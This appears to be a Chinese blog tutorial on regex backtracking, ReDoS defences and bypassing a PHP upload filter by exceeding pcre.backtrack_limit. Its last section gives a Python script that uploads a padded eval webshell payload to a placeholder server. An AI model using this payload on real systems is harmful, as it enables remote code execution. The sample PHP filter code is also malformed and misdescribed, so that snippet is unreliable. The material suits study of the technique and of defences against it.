正则回溯整理

目录

一、回溯绕过 

二、防止正则表达式回溯绕过的方法 

三、PHP利用PCRE回溯次数限制绕过某些安全限制

1、 首先,来看一段PHP代码

2、正则回溯的过程

3、PHP的pcre.backtrack_limit 限制利用       


一、回溯绕过 

        正则表达式的回溯绕过是指通过构造恶意输入,使得正则表达式引擎在匹配字符串时产生大量回溯操作,从而导致性能下降甚至造成拒绝服务(DoS)攻击。

        由于模式中的量词(例如星号*、加号+、问号?、花括号{}等)使得可能有多种不同的匹配方式,导致引擎需要尝试不同的组合,直到找到匹配的结果。这种尝试的过程就称为回溯。回溯操作会导致时间复杂度呈指数级增长,对于复杂的正则表达式和长字符串,性能损失会非常明显。

        攻击者可以通过构造一些恶意输入,使得正则表达式在尝试匹配时陷入大量的回溯过程,从而使得服务器的资源耗尽,无法继续响应其他请求,从而实现拒绝服务攻击。

        回溯绕过是一种常见的正则表达式攻击手段,合理使用正则表达式引擎和对输入进行有效验证是防止此类攻击的关键。

二、防止正则表达式回溯绕过的方法 

防止正则表达式回溯绕过的方法包括:

        1. 使用非回溯性的正则表达式引擎:某些正则表达式引擎支持非回溯的匹配算法,例如"正则表达式2"(Regular Expression 2,RE2)引擎,该引擎能够保证线性时间复杂度,从而避免回溯导致的性能问题。

        2. 限制正则表达式的复杂性:在编写正则表达式时,尽量避免使用过于复杂的表达式,特别是避免嵌套量词和回溯的使用。

        3. 输入验证和过滤:对于用户输入的数据,进行有效的验证和过滤,确保输入符合预期的格式和内容,防止恶意输入进入正则表达式匹配的过程。

        4. 采用其他字符串匹配算法:对于复杂的字符串匹配需求,可以考虑使用其他字符串匹配算法,如Aho-Corasick算法、Knuth-Morris-Pratt算法等,这些算法不涉及回溯,性能较为稳定。

三、PHP利用PCRE回溯次数限制绕过某些安全限制

1、 首先,来看一段PHP代码

                <?php
                function is_php($data){  
                    return preg_match('/<\?.*[(`;?>].*/is', $data);  
                }
                <?php eval()
 
                if(!is_php($input)) {
                    // fwrite($f, $input); ...
                }
        上面这段PHP代码实现了一个函数 is_php($data),用于检查输入的数据是否包含PHP代码片段。然后,在调用 is_php() 函数之后,代码使用 eval() 函数来执行用户输入的数据。这段代码存在严重的安全漏洞。

       安全问题:

        1. eval( ) 函数: eval( ) 函数用于执行字符串形式的PHP代码,但是这样的用法极其危险,因为它会执行任意代码,导致远程代码执行(Remote Code Execution,RCE)漏洞。不应该将未经验证的用户输入直接传递给 eval( )。

        2. 正则表达式漏洞:正则表达式 '/<\?.*[(`;?>].*/is' 存在问题。该表达式试图匹配包含 <?`、```、`?> 等标记的任意字符,但是由于缺乏边界约束,可能导致误匹配和绕过。例如,<?php 在某些情况下可能被误认为是PHP代码片段,而其他语言的代码也可能被错误地匹配。

2、正则回溯的过程

正则表达式 :

                /<\?.*[(`;?>].*/is

测试文本 :

                <?php phpinfo();//aaaaa

所以,如上之后  实际执行流程是这样的:

        1.第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。     

         2.所以 NFA 就开始回溯,先吐出一个 a,输入变成第6步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上 

        3.最终直到吐出;,输入变成第 13步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上 [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。14步开始向后匹配;,15步匹配 . 第二个.匹配到了字符串末尾,最后结束匹配。

3、PHP的pcre.backtrack_limit 限制利用
       

        在PHP中,pcre.backtrack_limit  是一个配置选项,用于限制PCRE(Perl Compatible Regular Expressions)引擎的回溯深度。PCRE是PHP正则表达式引擎的一部分,它用于解析和匹配正则表达式。在PHP文档中,这个值一般是 100万

        我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。

对应的DOC如下

                import requests
                from io import BytesIO
 
                files = {
                  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
                }
 
                res = requests.post('http://xx.xx.xx.xx/index.php', files=files, allow_redirects=False)
                print(res.headers)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值